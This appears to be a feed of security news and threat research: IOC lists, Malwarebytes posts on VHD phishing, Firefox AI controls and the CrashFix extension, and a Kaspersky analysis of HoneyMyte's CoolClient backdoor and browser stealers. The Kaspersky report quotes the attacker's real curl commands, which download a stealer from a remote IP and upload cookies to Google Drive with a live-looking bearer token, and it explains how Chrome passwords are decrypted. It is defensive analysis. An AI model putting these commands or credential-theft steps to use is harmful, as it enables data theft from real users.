69225f41dcae6ddb78a6aa6a3caa82e1
6df8284a4acee337078a6a62a8b65210
6f6e14b4449c0518258beb5a40ad7203
7882796fdae0043153aa75576e5d0b35
7c3e70937da7721dd1243638b467cff1
9ddd621daab4c4bc811b7c1990d7e9ea
a0f775dd99108cb3b76953e25f5cdae4
b841debc5307afc8a4592ea60d64de14
c57de69b401eb58c0aad786531c02c28
ca59e49878bcf2c72b99d15c98323bcd
d07eb2db2621c425bda0f046b736e372
d4be9b2b73e565b1181118cb7f44a102
d9aecc9d4bf1d4b39aa551f3a1bcc6b7
e9bed47953986f90e814ed5ed25b010c

Applications infected with Nova clicker
0bc94bc4bc4d69705e4f08aaf0e976b3
1276480838340dcbc699d1f32f30a5e9
15fb99660dbd52d66f074eaa4cf1366d
2dca15e9e83bca37817f46b24b00d197
350313656502388947c7cbcd08dc5a95
3e36ffda0a946009cb9059b69c6a6f0d
5b0726d66422f76d8ba4fbb9765c68f6
68b64bf1dea3eb314ce273923b8df510
9195454da9e2cb22a3d58dbbf7982be8
a4a6ff86413b3b2a893627c4cff34399
b163fa76bde53cd80d727d88b7b1d94f
ba0a349f177ffb3e398f8c780d911580
bba23f4b66a0e07f837f2832a8cd3bd4
d6ebc5526e957866c02c938fc01349ee
ec7ab99beb846eec4ecee232ac0b3246
ef119626a3b07f46386e65de312cf151
fcaeadbee39fddc907a3ae0315d86178

Payload CDN
ubkt1x.oss-us-west-1.aliyuncs[.]com
m-file-us.oss-us-west-1.aliyuncs[.]com
pkg-czu.istaticfiles[.]com
pkgu.istaticfiles[.]com
app-download.cn-wlcb.ufileos[.]com

C2 servers
110.34.191[.]81
110.34.191[.]82
67.198.232[.]4
67.198.232[.]187
fbsimg[.]com
tmgstatic[.]com
gbugreport[.]com
aifacecloud[.]com
goaimb[.]com
proczone[.]com
gvvt1[.]com
dllpgd[.]click
fbgraph[.]com
newsroomlabss[.]com
sliidee[.]com
keepgo123[.]com
gsonx[.]com
gmsstatic[.]com
ytimg2[.]com
glogstatic[.]com
gstatic2[.]com
uscelluliar[.]com
playstations[.]click

  •  

Open the wrong “PDF” and attackers gain remote access to your PC

Cybercriminals behind a campaign dubbed DEAD#VAX are taking phishing one step further by delivering malware inside virtual hard disks that pretend to be ordinary PDF documents. Open the wrong “invoice” or “purchase order” and you won’t see a document at all. Instead, Windows mounts a virtual drive that quietly installs AsyncRAT, a backdoor Trojan that allows attackers to remotely monitor and control your computer.

It’s a remote access tool, which means attackers gain remote hands‑on‑keyboard control, while traditional file‑based defenses see almost nothing suspicious on disk.

From a high-level view, the infection chain is long, but every step looks just legitimate enough on its own to slip past casual checks.

Victims receive phishing emails that look like routine business messages, often referencing purchase orders or invoices and sometimes impersonating real companies. The email doesn’t attach a document directly. Instead, it links to a file hosted on IPFS (InterPlanetary File System), a decentralized storage network increasingly abused in phishing campaigns because content is harder to take down and can be accessed through normal web gateways.

The linked file is named as a PDF and has the PDF icon, but is actually a virtual hard disk (VHD) file. When the user double‑clicks it, Windows mounts it as a new drive (for example, drive E:) instead of opening a document viewer. Mounting VHDs is perfectly legitimate Windows behavior, which makes this step less likely to ring alarm bells.

Inside the mounted drive is what appears to be the expected document, but it’s actually a Windows Script File (WSF). When the user opens it, Windows executes the code in the file instead of displaying a PDF.

After some checks to avoid analysis and detection, the script injects the payload—AsyncRAT shellcode—into trusted, Microsoft‑signed processes such as RuntimeBroker.exe, OneDrive.exe, taskhostw.exe, or sihost.exe. The malware never writes an actual executable file to disk. It lives and runs entirely in memory inside these legitimate processes, making detection and eventually at a later stage, forensics much harder. It also avoids sudden spikes in activity or memory usage that could draw attention.

For an individual user, falling for this phishing email can result in:

  • Theft of saved and typed passwords, including for email, banking, and social media.
  • Exposure of confidential documents, photos, or other sensitive files taken straight from the system.
  • Surveillance via periodic screenshots or, where configured, webcam capture.
  • Use of the machine as a foothold to attack other devices on the same home or office network.

How to stay safe

Because detection can be hard, it is crucial that users apply certain checks:

  • Don’t open email attachments until after verifying, with a trusted source, that they are legitimate.
  • Make sure you can see the actual file extensions. Unfortunately, Windows allows users to hide them. So, when in reality the file would be called invoice.pdf.vhd the user would only see invoice.pdf. To find out how to do this, see below.
  • Use an up-to-date, real-time anti-malware solution that can detect malware hiding in memory.

Showing file extensions on Windows 10 and 11

To show file extensions in Windows 10 and 11:

  • Open Explorer (Windows key + E)
  • In Windows 10, select View and check the box for File name extensions.
  • In Windows 11, this is found under View > Show > File name extensions.

Alternatively, search for File Explorer Options to uncheck Hide extensions for known file types.

For older versions of Windows, refer to this article.


We don’t just report on threats—we remove them

Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.

  •  

Firefox is giving users the AI off switch

Some software providers have decided to lead by example and offer users a choice about the Artificial Intelligence (AI) features built into their products.

The latest example is Mozilla, which now offers users a one-click option to disable generative AI features in the Firefox browser.

Audiences are divided about the use of AI, or as Mozilla put it on their blog:

“AI is changing the web, and people want very different things from it. We’ve heard from many who want nothing to do with AI. We’ve also heard from others who want AI tools that are genuinely useful. Listening to our community, alongside our ongoing commitment to offer choice, led us to build AI controls.”

Mozilla is adding an AI Controls area to Firefox settings that centralizes the management of all generative AI features. This consists mainly of a master switch, “Block AI enhancements,” which lets users effectively run Firefox “without AI.” It blocks existing and future generative AI features and hides pop‑ups or prompts advertising them.

Once you set your AI preferences in Firefox, they stay in place across updates. You can also change them whenever you want.

Starting with Firefox 148, which rolls out on February 24, you’ll find a new AI controls section within the desktop browser settings.

Firefox AI choices
Image courtesy of Mozilla

You can turn everything off with one click or take a more granular approach. At launch, these features can be controlled individually:

  • Translations, which help you browse the web in your preferred language.
  • Alt text in PDFs, which add accessibility descriptions to images in PDF pages.
  • AI-enhanced tab grouping, which suggests related tabs and group names.
  • Link previews, which show key points before you open a link.
  • An AI chatbot in the sidebar, which lets you use your chosen chatbot as you browse, including options like Anthropic Claude, ChatGPT, Microsoft Copilot, Google Gemini and Le Chat Mistral.

We applaud this move to give more control to the users. Other companies have done the same, including Mozilla’s competitor DuckDuckGo, which made AI optional after putting the decision to a user vote. Earlier, browser developer Vivaldi took a stand against incorporating AI altogether.

Open-source email service Tuta also decided not to integrate AI features. After only 3% of Tuta users requested them, Tuta removed an AI copilot from its development roadmap.

Even Microsoft seems to have recoiled from pushing AI to everyone, although so far it has focused on walking back defaults and tightening per‑feature controls rather than offering a single, global off switch.

Choices

Many people are happy to use AI features, and as long as you’re aware of the risks and the pitfalls, that’s fine. But pushing these features on users who don’t want them is likely to backfire on software publishers.

Which is only right. After all, you’re paying the bill, so you should have a choice. Before installing a new browser, inform yourself not only about its privacy policy, but also about what control you’ll have over AI features.

Looking at recent voting results, I think it’s safe to say that in the AI gold rush, the real premium feature isn’t a chatbot button—it’s the off switch.


We don’t just report on privacy—we offer you the option to use it.

Privacy risks should never spread beyond a headline. Keep your online privacy yours by using Malwarebytes Privacy VPN.

  •  

HoneyMyte updates CoolClient and deploys multiple stealers in recent campaigns

Over the past few years, we’ve been observing and monitoring the espionage activities of HoneyMyte (aka Mustang Panda or Bronze President) within Asia and Europe, with the Southeast Asia region being the most affected. The primary targets of most of the group’s campaigns were government entities.

As an APT group, HoneyMyte uses a variety of sophisticated tools to achieve its goals. These tools include ToneShell, PlugX, Qreverse and CoolClient backdoors, Tonedisk and SnakeDisk USB worms, among others. In 2025, we observed HoneyMyte updating its toolset by enhancing the CoolClient backdoor with new features, deploying several variants of a browser login data stealer, and using multiple scripts designed for data theft and reconnaissance.

Additional information about this threat, including indicators of compromise, is available to customers of the Kaspersky Intelligence Reporting Service. If you are interested, please contact intelreports@kaspersky.com.

CoolClient backdoor

An early version of the CoolClient backdoor was first discovered by Sophos in 2022, and TrendMicro later documented an updated version in 2023. Fast forward to our recent investigations, we found that CoolClient has evolved quite a bit, and the developers have added several new features to the backdoor. This updated version has been observed in multiple campaigns across Myanmar, Mongolia, Malaysia and Russia where it was often deployed as a secondary backdoor in addition to PlugX and LuminousMoth infections.

In our observations, CoolClient was typically delivered alongside encrypted loader files containing encrypted configuration data, shellcode, and in-memory next-stage DLL modules. These modules relied on DLL sideloading as their primary execution method, which required a legitimate signed executable to load a malicious DLL. Between 2021 and 2025, the threat actor abused signed binaries from various software products, including BitDefender, VLC Media Player, Ulead PhotoImpact, and several Sangfor solutions.

Variants of CoolClient abusing different software for DLL sideloading (2021–2025)

Variants of CoolClient abusing different software for DLL sideloading (2021–2025)

The latest CoolClient version analyzed in this article abuses legitimate software developed by Sangfor. Below, you can find an overview of how it operates. It is worth noting that its behavior remains consistent across all variants, except for differences in the final-stage features.

Overview of CoolClient execution flow

Overview of CoolClient execution flow

However, it is worth noting that in another recent campaign involving this malware in Pakistan and Myanmar, we observed that HoneyMyte has introduced a newer variant of CoolClient that drops and executes a previously unseen rootkit. A separate report will be published in the future that covers the technical analysis and findings related to this CoolClient variant and the associated rootkit.

CoolClient functionalities

In terms of functionality, CoolClient collects detailed system and user information. This includes the computer name, operating system version, total physical memory (RAM), network details (MAC and IP addresses), logged-in user information, and descriptions and versions of loaded driver modules. Furthermore, both old and new variants of CoolClient support file upload to the C2, file deletion, keylogging, TCP tunneling, reverse proxy listening, and plugin staging/execution for running additional in-memory modules. These features are still present in the latest versions, alongside newly added functionalities.

In this latest variant, CoolClient relies on several important files to function properly:

Filename Description
Sang.exe Legitimate Sangfor application abused for DLL sideloading.
libngs.dll Malicious DLL used to decrypt loader.dat and execute shellcode.
loader.dat Encrypted file containing shellcode and a second-stage DLL. Parameter checker and process injection activity reside here.
time.dat Encrypted configuration file.
main.dat Encrypted file containing shellcode and a third-stage DLL. The core functionality resides here.

Parameter modes in second-stage DLL

CoolClient typically requires three parameters to function properly. These parameters determine which actions the malware is supposed to perform. The following parameters are supported.

Parameter Actions
No parameter ·        CoolClient will launch a new process of itself with the install parameter. For example: Sang.exe install.
install
  • CoolClient decrypts time.dat.
  • Adds new key to the Run registry for persistence mechanism.
  • Creates a process named write.exe.
  • Decrypts and injects loader.dat into a newly created write.exe process.
  • Checks for service control manager (SCM) access.
  • Checks for multiple AV processes such as 360sd.exe, zhudongfangyu.exe and 360desktopservice64.exe.
  • Installs a service named media_updaten and starts it.
  • If the current user is in the Administrator group, creates a new process of itself with the passuac parameter to bypass UAC.
work
  • Creates a process named write.exe.
  • Decrypts and injects loader.dat into a newly spawned write.exe process.
passuac
  • Bypasses UAC and performs privilege elevation.
  • Checks if the machine runs Windows 10 or a later version.
  • Impersonates svchost.exe process by spoofing PEB information.
  • Creates a scheduled task named ComboxResetTask for persistence. The task executes the malware with the work parameter.
  • Elevates privileges to admin by duplicating an access token from an existing elevated process.

Final stage DLL

The write.exe process decrypts and launches the main.dat file, which contains the third (final) stage DLL. CoolClient’s core features are implemented in this DLL. When launched, it first checks whether the keylogger, clipboard stealer, and HTTP proxy credential sniffer are enabled. If they are, CoolClient creates a new thread for each specific functionality. It is worth noting that the clipboard stealer and HTTP proxy credential sniffer are new features that weren’t present in older versions.

Clipboard and active windows monitor

A new feature introduced in CoolClient is clipboard monitoring, which leverages functions that are typically abused by clipboard stealers, such as GetClipboardData and GetWindowTextW, to capture clipboard information.

CoolClient also retrieves the window title, process ID and current timestamp of the user’s active window using the GetWindowTextW API. This information enables the attackers to monitor user behavior, identify which applications are in use, and determine the context of data copied at a given moment.

The clipboard contents and active window information are encrypted using a simple XOR operation with the byte key 0xAC, and then written to a file located at C:\ProgramData\AppxProvisioning.xml.

HTTP proxy credential sniffer

Another notable new functionality is CoolClient’s ability to extract HTTP proxy credentials from the host’s HTTP traffic packets. To do so, the malware creates dedicated threads to intercept and parse raw network traffic on each local IP address. Once it is able to intercept and parse the traffic, CoolClient starts extracting proxy authentication credentials from HTTP traffic intercepted by the malware’s packet sniffer.

The function operates by analyzing the raw TCP payload to locate the Proxy-Connection header and ensure the packet is relevant. It then looks for the Proxy-Authorization: Basic header, extracts and decodes the Base64-encoded credential and saves it in memory to be sent later to the C2.

Function used to find and extract Base64-encoded credentials from HTTP proxy-authorization headers

Function used to find and extract Base64-encoded credentials from HTTP proxy-authorization headers

C2 command handler

The latest CoolClient variant uses TCP as the main C2 communication protocol by default, but it also has the option to use UDP, similar to the previous variant. Each incoming payload begins with a four-byte magic value to identify the command family. However, if the command is related to downloading and running a plugin, this value is absent. If the client receives a packet without a recognized magic value, it switches to plugin mode (mechanism used to receive and execute plugin modules in memory) for command processing.

Magic value Command category
CC BB AA FF Beaconing, status update, configuration.
CD BB AA FF Operational commands such as tunnelling, keylogging and file operations.
No magic value Receive and execute plugin module in memory.

0xFFAABBCC – Beacon and configuration commands

Below is the command menu to manage client status and beaconing:

Command ID Action
0x0 Send beacon connection
0x1 Update beacon timestamp
0x2 Enumerate active user sessions
0x3 Handle incoming C2 command

0xFFAABBCD – Operational commands

This command group implements functionalities such as data theft, proxy setup, and file manipulation. The following is a breakdown of known subcommands:

Command ID Action
0x0 Set up reverse tunnel connection
0x1 Send data through tunnel
0x2 Close tunnel connection
0x3 Set up reverse proxy
0x4 Shut down a specific socket
0x6 List files in a directory
0x7 Delete file
0x8 Set up keylogger
0x9 Terminate keylogger thread
0xA Get clipboard data
0xB Install clipboard and active windows monitor
0xC Turn off clipboard and active windows monitor
0xD Read and send file
0xE Delete file

CoolClient plugins

CoolClient supports multiple plugins, each dedicated to a specific functionality. Our recent findings indicate that the HoneyMyte group actively used CoolClient in campaigns targeting Mongolia, where the attackers pushed and executed a plugin named FileMgrS.dll through the C2 channel for file management operations.

Further sample hunting in our telemetry revealed two additional plugins: one providing remote shell capability (RemoteShellS.dll), and another focused on service management (ServiceMgrS.dll).

ServiceMgrS.dll – Service management plugin

This plugin is used to manage services on the victim host. It can enumerate all services, create new services, and even delete existing ones. The following table lists the command IDs and their respective actions.

Command ID Action
0x0 Enumerate services
0x1 / 0x4 Start or resume service
0x2 Stop service
0x3 Pause service
0x5 Create service
0x6 Delete service
0x7 Set service to start automatically at boot
0x8 Set service to be launched manually
0x9 Set service to disabled

FileMgrS.dll – File management plugin

A few basic file operations are already supported in the operational commands of the main CoolClient implant, such as listing directory contents and deleting files. However, the dedicated file management plugin provides a full set of file management capabilities.

Command ID Action
0x0 List drives and network resources
0x1 List files in folder
0x2 Delete file or folder
0x3 Create new folder
0x4 Move file
0x5 Read file
0x6 Write data to file
0x7 Compress file or folder into ZIP archive
0x8 Execute file
0x9 Download and execute file using certutil
0xA Search for file
0xB Send search result
0xC Map network drive
0xD Set chunk size for file transfers
0xF Bulk copy or move
0x10 Get file metadata
0x11 Set file metadata

RemoteShellS.dll – Remote shell plugin

Based on our analysis of the main implant, the C2 command handler did not implement remote shell functionality. Instead, CoolClient relied on a dedicated plugin to enable this capability. This plugin spawns a hidden cmd.exe process, redirecting standard input and output through pipes, which allows the attacker to send commands into the process and capture the resulting output. This output is then forwarded back to the C2 server for remote interaction.

CoolClient plugin that spawns cmd.exe with redirected I/O and forwards command output to C2

CoolClient plugin that spawns cmd.exe with redirected I/O and forwards command output to C2

Browser login data stealer

While investigating suspicious ToneShell backdoor traffic originating from a host in Thailand, we discovered that the HoneyMyte threat actor had downloaded and executed a malware sample intended to extract saved login credentials from the Chrome browser as part of their post-exploitation activities. We will refer to this sample as Variant A. On the same day, the actor executed a separate malware sample (Variant B) targeting credentials stored in the Microsoft Edge browser. Both samples can be considered part of the same malware family.

During a separate threat hunting operation focused on HoneyMyte’s QReverse backdoor, we retrieved another variant of a Chrome credential parser (Variant C) that exhibited significant code similarities to the sample used in the aforementioned ToneShell campaign.

The malware was observed in countries such as Myanmar, Malaysia, and Thailand, with a particular focus on the government sector.

The following table shows the variants of this browser credential stealer employed by HoneyMyte.

Variant Targeted browser(s) Execution method MD5 hash
A Chrome Direct execution (PE32) 1A5A9C013CE1B65ABC75D809A25D36A7
B Edge Direct execution (PE32) E1B7EF0F3AC0A0A64F86E220F362B149
C Chromium-based browsers DLL side-loading DA6F89F15094FD3F74BA186954BE6B05

These stealers may be part of a new malware toolset used by HoneyMyte during post-exploitation activities.

Initial infection

As part of post-exploitation activity involving the ToneShell backdoor, the threat actor initially executed the Variant A stealer, which targeted Chrome credentials. However, we were unable to determine the exact delivery mechanism used to deploy it.

A few minutes later, the threat actor executed a command to download and run the Variant B stealer from a remote server. This variant specifically targeted Microsoft Edge credentials.

curl  hxxp://45.144.165[.]65/BUIEFuiHFUEIuioKLWENFUoi878UIESf/MUEWGHui897hjkhsjdkHfjegfdh/67jksaebyut8seuhfjgfdgdfhet4SEDGF/Tools/getlogindataedge.exe -o "C:\users\[username]\libraries\getloginedge.exe"

Within the same hour that Variant B was downloaded and executed, we observed the threat actor issue another command to exfiltrate the Firefox browser cookie file (cookies.sqlite) to Google Drive using a curl command.

curl  -X POST -L -H "Authorization: Bearer ya29.a0Ad52N3-ZUcb-ixQT_Ts1MwvXsO9JwEYRujRROo-vwqmSW006YxrlFSRjTuUuAK-u8UiaQt7v0gQbjktpFZMp65hd2KBwnY2YdTXYAKhktWi-v1LIaEFYzImoO7p8Jp01t29_3JxJukd6IdpTLPdXrKINmnI9ZgqPTWicWN4aCgYKAQ4SARASFQHGX2MioNQPPZN8EkdbZNROAlzXeQ0174"  -F "metadata={name :'8059cookies.sqlite'};type=application/json;charset=UTF-8" -F "file=@"$appdata\Mozilla\Firefox\Profiles\i6bv8i9n.default-release\cookies.sqlite";type=application/zip" -k "https://www.googleapis.com/upload/drive/v3/files?uploadType=multipart"

Variant C analysis

Unlike Variants A and B, which use hardcoded file paths, the Variant C stealer accepts two runtime arguments: file paths to the browser’s Login Data and Local State files. This provides greater flexibility and enables the stealer to target any Chromium-based browser such as Chrome, Edge, Brave, or Opera, regardless of the user profile or installation path. An example command used to execute Variant C is as follows:

Jarte.exe "C:\Users\[username]\AppData\Local\Google\Chrome\User Data\Default\Login Data" "C:\Users\[username]\AppData\Local\Google\Chrome\User Data\Local State"

In this context, the Login Data file is an SQLite database that stores saved website login credentials, including usernames and AES-encrypted passwords. The Local State file is a JSON-formatted configuration file containing browser metadata, with the most important value being encrypted_key, a Base64-encoded AES key. It is required to decrypt the passwords stored in the Login Data database and is also encrypted.

When executed, the malware copies the Login Data file to the user’s temporary directory as chromeTmp.

Function that copies Chrome browser login data into a temporary file (chromeTmp) for exfiltration

Function that copies Chrome browser login data into a temporary file (chromeTmp) for exfiltration

To retrieve saved credentials, the malware executes the following SQL query on the copied database:

SELECT origin_url, username_value, password_value FROM logins

This query returns the login URL, stored username, and encrypted password for each saved entry.

Next, the malware reads the Local State file to extract the browser’s encrypted master key. This key is protected using the Windows Data Protection API (DPAPI), ensuring that the encrypted data can only be decrypted by the same Windows user account that created it. The malware then uses the CryptUnprotectData API to decrypt this key, enabling it to access and decrypt password entries from the Login Data SQLite database.

With the decrypted AES key in memory, the malware proceeds to decrypt each saved password and reconstructs complete login records.

Finally, it saves the results to the text file C:\Users\Public\Libraries\License.txt.

Login data stealer’s attribution

Our investigation indicated that the malware was consistently used in the ToneShell backdoor campaign, which was attributed to the HoneyMyte APT group.
Another factor supporting our attribution is that the browser credential stealer appeared to be linked to the LuminousMoth APT group, which has previously been connected to HoneyMyte. Our analysis of LuminousMoth’s cookie stealer revealed several code-level similarities with HoneyMyte’s credential stealer. For example, both malware families used the same method to copy targeted files, such as Login Data and Cookies, into a temporary folder named ChromeTmp, indicating possible tool reuse or a shared codebase.

Code similarity between HoneyMyte's saved login data stealer and LuminousMoth's cookie stealer

Code similarity between HoneyMyte’s saved login data stealer and LuminousMoth’s cookie stealer

Both stealers followed the same steps: they checked if the original Login Data file existed, located the temporary folder, and copied the browser data into a file with the same name.

Based on these findings, we assess with high confidence that HoneyMyte is behind this browser credential stealer, which also has a strong connection to the LuminousMoth APT group.

Document theft and system information reconnaissance scripts

In several espionage campaigns, HoneyMyte used a number of scripts to gather system information, conduct document theft activities and steal browser login data. One of these scripts is a batch file named 1.bat.

1.bat – System enumeration and data exfiltration batch script

The script starts by downloading curl.exe and rar.exe into the public folder. These are the tools used for file transfer and compression.

Batch script that downloads curl.exe and rar.exe from HoneyMyte infrastructure and executes them for file transfer and compression

Batch script that downloads curl.exe and rar.exe from HoneyMyte infrastructure and executes them for file transfer and compression

It then collects network details and downloads and runs the nbtscan tool for internal network scanning.

Batch script that performs network enumeration and saves the results to the log.dat file for later exfiltration

Batch script that performs network enumeration and saves the results to the log.dat file for later exfiltration

During enumeration, the script also collects information such as stored credentials, the result of the systeminfo command, registry keys, the startup folder list, the list of files and folders, and antivirus information into a file named log.dat. It then uploads this file via FTP to http://113.23.212[.]15/pub/.

Batch script that collects registry, startup items, directories, and antivirus information for system profiling

Batch script that collects registry, startup items, directories, and antivirus information for system profiling

Next, it deletes both log.dat and the nbtscan executable to remove traces. The script then terminates browser processes, compresses browser-related folders, retrieves FileZilla configuration files, archives documents from all drives with rar.exe, and uploads the collected data to the same server.

Finally, it deletes any remaining artifacts to cover its tracks.

Ttraazcs32.ps1 – PowerShell-based collection and exfiltration

The second script observed in HoneyMyte operations is a PowerShell file named Ttraazcs32.ps1.

Similar to the batch file, this script downloads curl.exe and rar.exe into the public folder to handle file transfers and compression. It collects computer and user information, as well as network details such as the public IP address and Wi-Fi network data.

All gathered information is written to a file, compressed into a password-protected RAR archive and uploaded via FTP.

In addition to system profiling, the script searches multiple drives including C:\Users\Desktop, Downloads, and drives D: to Z: for recently modified documents. Targeted file types include .doc, .xls, .pdf, .tif, and .txt, specifically those changed within the last 60 days. These files are also compressed into a password-protected RAR archive and exfiltrated to the same FTP server.

t.ps1 – Saved login data collection and exfiltration

The third script attributed to HoneyMyte is a PowerShell file named t.ps1.

The script requires a number as a parameter and creates a working directory under D:\temp with that number as the directory name. The number is not related to any identifier. It is simply a numeric label that is probably used to organize stolen data by victim. If the D drive doesn’t exist on the victim’s machine, the new folder will be created in the current working directory.

The script then searches the system for Chrome and Chromium-based browser files such as Login Data and Local State. It copies these files into the target directory and extracts the encrypted_key value from the Local State file. It then uses Windows DPAPI (System.Security.Cryptography.ProtectedData) to decrypt this key and writes the decrypted Base64-encoded key into a new file named Local State-journal in the same directory. For example, if the original file is C:\Users\$username \AppData\Local\Google\Chrome\User Data\Local State, the script creates a new file C:\Users\$username\AppData\Local\Google\Chrome\User Data\Local State-journal, which the attacker can later use to access stored credentials.

PowerShell script that extracts and decrypts the Chrome encrypted_key from the Local State file before writing the result to a Local State-journal file

PowerShell script that extracts and decrypts the Chrome encrypted_key from the Local State file before writing the result to a Local State-journal file

Once the credential data is ready, the script verifies that both rar.exe and curl.exe are available. If they are not present, it downloads them directly from Google Drive. The script then compresses the collected data into a password-protected archive (the password is “PIXELDRAIN”) and uploads it to pixeldrain.com using the service’s API, authenticated with a hardcoded token. Pixeldrain is a public file-sharing service that attackers abuse for data exfiltration.

Script that compresses data with RAR, and exfiltrates it to Pixeldrain via API

Script that compresses data with RAR, and exfiltrates it to Pixeldrain via API

This approach highlights HoneyMyte’s shift toward using public file-sharing services to covertly exfiltrate sensitive data, especially browser login credentials.

Conclusion

Recent findings indicate that HoneyMyte continues to operate actively in the wild, deploying an updated toolset that includes the CoolClient backdoor, a browser login data stealer, and various document theft scripts.

With capabilities such as keylogging, clipboard monitoring, proxy credential theft, document exfiltration, browser credential harvesting, and large-scale file theft, HoneyMyte’s campaigns appear to go far beyond traditional espionage goals like document theft and persistence. These tools indicate a shift toward the active surveillance of user activity that includes capturing keystrokes, collecting clipboard data, and harvesting proxy credential.

Organizations should remain highly vigilant against the deployment of HoneyMyte’s toolset, including the CoolClient backdoor, as well as related malware families such as PlugX, ToneShell, Qreverse, and LuminousMoth. These operations are part of a sophisticated threat actor strategy designed to maintain persistent access to compromised systems while conducting high-value surveillance activities.

Indicators of compromise

CoolClient
F518D8E5FE70D9090F6280C68A95998F          libngs.dll
1A61564841BBBB8E7774CBBEB3C68D5D       loader.dat
AEB25C9A286EE4C25CA55B72A42EFA2C        main.dat
6B7300A8B3F4AAC40EEECFD7BC47EE7C        time.dat

CoolClient plugins
7AA53BA3E3F8B0453FFCFBA06347AB34        ServiceMgrS.dll
A1CD59F769E9E5F6A040429847CA6EAE         FileMgrS.dll
1BC5329969E6BF8EF2E9E49AAB003F0B         RemoteShellS.dll

Browser login data stealer
1A5A9C013CE1B65ABC75D809A25D36A7       Variant A
E1B7EF0F3AC0A0A64F86E220F362B149          Variant B
DA6F89F15094FD3F74BA186954BE6B05         Variant C

Scripts
C19BD9E6F649DF1DF385DEEF94E0E8C4         1.bat
838B591722512368F81298C313E37412           Ttraazcs32.ps1
A4D7147F0B1CA737BFC133349841AABA        t.ps1

CoolClient C2
account.hamsterxnxx[.]com
popnike-share[.]com
japan.Lenovoappstore[.]com

FTP server
113.23.212[.]15

  •  

Fake extension crashes browsers to trick users into infecting themselves

Researchers have found another method used in the spirit of ClickFix: CrashFix.

ClickFix campaigns use convincing lures—historically “Human Verification” screens—to trick the user into pasting a command from the clipboard. After fake Windows update screens, video tutorials for Mac users, and many other variants, attackers have now introduced a browser extension that crashes your browser on purpose.

Researchers found a rip-off of a well-known ad blocker and managed to get it into the official Chrome Web Store under the name “NexShield – Advanced Web Protection.” Strictly speaking, crashing the browser does provide some level of protection, but it’s not what users are typically looking for.

If users install the browser extension, it phones home to nexsnield[.]com (note the misspelling) to track installs, updates, and uninstalls. The extension uses Chrome’s built-in Alarms API (application programming interface) to wait 60 minutes before starting its malicious behavior. This delay makes it less likely that users will immediately connect the dots between the installation and the following crash.

After that pause, the extension starts a denial-of-service loop that repeatedly opens chrome.runtime port connections, exhausting the device’s resources until the browser becomes unresponsive and crashes.

After restarting the browser, users see a pop-up telling them the browser stopped abnormally—which is true but not unexpected— and offering instructions on how to prevent it from happening in the future.

It presents the user with the now classic instructions to open Win+R, press Ctrl+V, and hit Enter to “fix” the problem. This is the typical ClickFix behavior. The extension has already placed a malicious PowerShell or cmd command on the clipboard. By following the instructions, the user executes that malicious command and effetively infects their own computer.

Based on fingerprinting checks to see whether the device is domain-joined, there are currently two possible outcomes.

If the machine is joined to a domain, it is treated as a corporate device and infected with a Python remote access trojan (RAT) dubbed ModeloRAT. On non-domain-joined machines, the payload is currently unknown as the researchers received only a “TEST PAYLOAD!!!!” response. This could imply ongoing development or other fingerprinting which made the test machine unsuitable.

How to stay safe

The extension was no longer available in the Chrome Web Store at the time of writing, but it will undoubtedly resurface with an other name. So here are a few tips to stay safe:

  • If you’re looking for an ad blocker or other useful browser extensions, make sure you are installing the real deal. Cybercriminals love to impersonate trusted software.
  • Never run code or commands copied from websites, emails, or messages unless you trust the source and understand the action’s purpose. Verify instructions independently. If a website tells you to execute a command or perform a technical action, check through official documentation or contact support before proceeding.
  • Secure your devices. Use an up-to-date real-time anti-malware solution with a web protection component.
  • Educate yourself on evolving attack techniques. Understanding that attacks may come from unexpected vectors and evolve helps maintain vigilance. Keep reading our blog!

Pro tip: the free Malwarebytes Browser Guard extension is a very effective ad blocker and protects you from malicious websites. It also warns you when a website copies something to your clipboard and adds a small snippet to render any commands useless.


We don’t just report on threats—we remove them

Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.

  •  

VTPRACTITIONERS{ACRONIS}: Tracking FileFix, Shadow Vector, and SideWinder

Introduction

We have recently started a new blog series called #VTPRACTITIONERS. This series aims to share with the community what other practitioners are able to research using VirusTotal from a technical point of view.
Our first blog saw our colleagues at SEQRITE tracking UNG0002, Silent Lynx, and DragonClone. In this new post, Acronis Threat Research Unit (TRU) shares practical insights from multiple investigations, including the ClickFix variant known as FileFix, the long-running South Asian threat actor SideWinder, and the SVG-based campaign targeting Colombia and named Shadow Vector.

How VT plays a role in hunting for analysts

For the threat analyst, web-based threats present a unique set of challenges. Unlike file-based malware, the initial stages of a web-based attack often exist only as ephemeral artifacts within a browser. The core of the investigation relies on dissecting the components of a website, from its HTML and JavaScript to the payloads it delivers. This is where VT capabilities for archiving and analyzing web content become critical.
VT allows analysts to move beyond simple URL reputation checks and delve into the content of web pages themselves. For attacks like the *Fix family, which trick users into executing malicious commands, the entire attack chain is often laid bare within the page's source code. The analyst's starting point becomes the malicious commands themselves, such as navigator.clipboard.writeText or document.execCommand("copy"), which are used to surreptitiously copy payloads to the victim's clipboard.
The Acronis team's investigation into the FileFix variant demonstrates a practical application of this methodology. Their research began not with a specific sample, but with a hypothesis that could be translated into a set of hunting rules. Using VT's Livehunt feature, they were able to create YARA rules that searched for new web pages containing the clipboard commands alongside common payload execution tools like powershell, mshta, or cmd. This proactive hunting approach allowed them to cast a wide net and identify potentially malicious sites in real-time.
One of the main challenges in this type of hunting is striking a balance between rule specificity and the need to uncover novel threats. Overly broad rules can lead to a deluge of false positives, while highly specific rules risk missing creatively crafted commands. The Acronis team addressed this by creating multiple rulesets with varying levels of specificity, allowing them to both find known threats and uncover new variants like FileFix.
In the case of the SideWinder campaign, which uses document-based attacks, VT value comes from its rich metadata and filtering capabilities. Analysts can hunt for malicious documents exploiting specific vulnerabilities, and then narrow the results by focusing on specific geographic regions through submitter country information. This allows them to effectively isolate threats that match a specific actor's profile, such as SideWinder's focus on South Asia.
Similarly, for the Shadow Vector campaign, which used malicious SVG files to target users in Colombia, VT content search and archiving proved essential. The platform's ability to store and index SVG content allowed researchers to identify a campaign using judicial-themed lures. By combining content searches for legal keywords with filters like submitter:CO, the Acronis team could map the entire infection chain and its infrastructure, transforming fragmented indicators into a comprehensive intelligence picture.

Acronis - Success Story

[In the words of Acronis…]
